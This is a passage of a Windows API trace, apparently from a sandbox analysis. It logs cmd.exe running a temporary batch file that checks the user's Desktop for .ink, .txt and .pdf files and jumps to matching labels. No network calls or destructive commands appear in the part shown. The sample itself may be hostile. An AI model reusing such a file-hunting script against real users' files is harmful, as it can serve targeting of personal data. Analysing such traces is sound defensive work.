SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.056] GetProcessHeap () returned 0x4e0000 [0038.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.056] GetProcessHeap () returned 0x4e0000 [0038.056] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.056] _tell (_FileHandle=3) returned 108 [0038.056] _close (_FileHandle=3) returned 0 [0038.056] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.056] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.056] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.057] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.057] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0038.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.057] GetFileType (hFile=0x74) returned 0x1 [0038.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.057] GetProcessHeap () returned 0x4e0000 [0038.057] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.057] GetProcessHeap () returned 0x4e0000 [0038.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.057] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.057] GetProcessHeap () returned 0x4e0000 [0038.057] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.058] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.058] GetProcessHeap () returned 0x4e0000 [0038.058] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.058] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.058] GetProcessHeap () returned 0x4e0000 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.058] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.058] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.058] GetProcessHeap () returned 0x4e0000 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.058] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.058] GetProcessHeap () returned 0x4e0000 [0038.058] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.058] GetProcessHeap () returned 0x4e0000 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.059] _tell (_FileHandle=3) returned 133 [0038.059] _close (_FileHandle=3) returned 0 [0038.059] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0038.059] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.060] GetLastError () returned 0x2 [0038.060] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.060] GetLastError () returned 0x6 [0038.060] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.060] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.060] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.060] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.060] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.060] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.061] SetConsoleInputExeNameW () returned 0x1 [0038.061] GetConsoleOutputCP () returned 0x1b5 [0038.061] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.061] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.061] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.061] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.061] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.061] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.061] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.062] GetProcessHeap () returned 0x4e0000 [0038.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.062] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0038.063] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.063] GetFileType (hFile=0x74) returned 0x1 [0038.063] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.063] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.063] GetProcessHeap () returned 0x4e0000 [0038.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.063] GetProcessHeap () returned 0x4e0000 [0038.063] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.063] _tell (_FileHandle=3) returned 135 [0038.063] _close (_FileHandle=3) returned 0 [0038.063] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.063] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.063] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.063] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.064] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.064] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.064] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0038.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.064] GetFileType (hFile=0x74) returned 0x1 [0038.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.064] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.064] GetProcessHeap () returned 0x4e0000 [0038.064] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.064] GetProcessHeap () returned 0x4e0000 [0038.064] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.064] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.064] GetProcessHeap () returned 0x4e0000 [0038.064] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.064] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.064] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.064] GetProcessHeap () returned 0x4e0000 [0038.064] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.065] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.065] GetProcessHeap () returned 0x4e0000 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.065] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.065] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.065] GetProcessHeap () returned 0x4e0000 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.065] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.065] GetProcessHeap () returned 0x4e0000 [0038.065] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.065] GetProcessHeap () returned 0x4e0000 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.065] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.066] _tell (_FileHandle=3) returned 160 [0038.066] _close (_FileHandle=3) returned 0 [0038.066] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0038.066] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.067] GetLastError () returned 0x2 [0038.067] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.067] GetLastError () returned 0x6 [0038.067] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.067] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.067] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.067] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.067] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.067] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.068] SetConsoleInputExeNameW () returned 0x1 [0038.068] GetConsoleOutputCP () returned 0x1b5 [0038.068] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.068] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.068] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.068] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.068] GetProcessHeap () returned 0x4e0000 [0038.068] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.068] GetProcessHeap () returned 0x4e0000 [0038.068] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.068] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.069] GetProcessHeap () returned 0x4e0000 [0038.069] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.069] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0038.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.070] GetFileType (hFile=0x74) returned 0x1 [0038.070] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.070] GetProcessHeap () returned 0x4e0000 [0038.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.070] GetProcessHeap () returned 0x4e0000 [0038.070] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.070] _tell (_FileHandle=3) returned 162 [0038.070] _close (_FileHandle=3) returned 0 [0038.070] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.071] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.071] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0038.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.071] GetFileType (hFile=0x74) returned 0x1 [0038.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.071] GetProcessHeap () returned 0x4e0000 [0038.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.071] GetProcessHeap () returned 0x4e0000 [0038.071] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.071] GetProcessHeap () returned 0x4e0000 [0038.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.072] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.072] GetProcessHeap () returned 0x4e0000 [0038.072] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.072] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.072] GetProcessHeap () returned 0x4e0000 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.072] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.072] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.072] GetProcessHeap () returned 0x4e0000 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.072] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.072] GetProcessHeap () returned 0x4e0000 [0038.072] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.072] GetProcessHeap () returned 0x4e0000 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.072] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.073] _tell (_FileHandle=3) returned 187 [0038.073] _close (_FileHandle=3) returned 0 [0038.073] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0038.073] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.073] GetLastError () returned 0x2 [0038.073] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.073] GetLastError () returned 0x6 [0038.073] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.073] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.074] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.074] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.074] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.074] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.074] SetConsoleInputExeNameW () returned 0x1 [0038.074] GetConsoleOutputCP () returned 0x1b5 [0038.074] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.074] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.074] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.075] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, 